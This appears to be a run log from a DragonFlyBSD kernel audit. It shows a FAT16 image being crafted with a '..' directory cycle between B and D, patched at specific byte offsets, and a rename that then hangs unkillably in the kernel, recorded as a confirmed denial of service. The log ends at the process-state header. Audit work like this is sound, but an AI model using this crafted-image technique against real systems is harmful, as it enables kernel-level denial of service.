DragonFlyBSD Kernel Audit
DF-3037 / run.log
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=== [0] guest info ===
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
=== [1] build base FAT16 image with A, A/moveme, B, D ===
16777216 bytes transferred in 0.019226 secs (872611674 bytes/sec)
total 58
drwxr-xr-x  1 root  wheel  16384 Jan  1  1980 .
drwxr-xr-x  1 root  wheel      0 Jun 30 09:49 ..
drwxr-xr-x  1 root  wheel   4096 Sep  5 14:42 A
drwxr-xr-x  1 root  wheel   4096 Sep  5 14:42 B
drwxr-xr-x  1 root  wheel   4096 Sep  5 14:42 D
=== [2] map '.' entries ===
# off(cluster-start of '.' entry)  own-cluster
dot at off=33280 owncluster=2 next-entry='..         '
dot at off=37376 owncluster=3 next-entry='..         '
dot at off=41472 owncluster=4 next-entry='..         '
dot at off=45568 owncluster=5 next-entry='..         '
=== [3] CONTROL: rename on the unpatched image ===
rename returned success
control rc=0 elapsed=0s
m2
=== [4] restore image (fresh) and patch B<->D '..' cycle ===
16777216 bytes transferred in 0.018551 secs (904403852 bytes/sec)
# off(cluster-start of '.' entry)  own-cluster
dot at off=33280 owncluster=2 next-entry='..         '
dot at off=37376 owncluster=3 next-entry='..         '
dot at off=41472 owncluster=4 next-entry='..         '
dot at off=45568 owncluster=5 next-entry='..         '
B: dotoff=41472 cluster=4   D: dotoff=45568 cluster=5
patching '..' at off=41504 : startcluster 0 -> 5
patching '..' at off=45600 : startcluster 0 -> 4
cycle installed: B/.. -> 5, D/.. -> 4
=== [5] EXPLOIT: rename under cycle (15s watchdog) ===
TRIGGER STILL RUNNING AFTER 15s -- attempting kill -9
KILL -9 INEFFECTIVE (stuck in kernel) -- DoS CONFIRMED
--- process state ---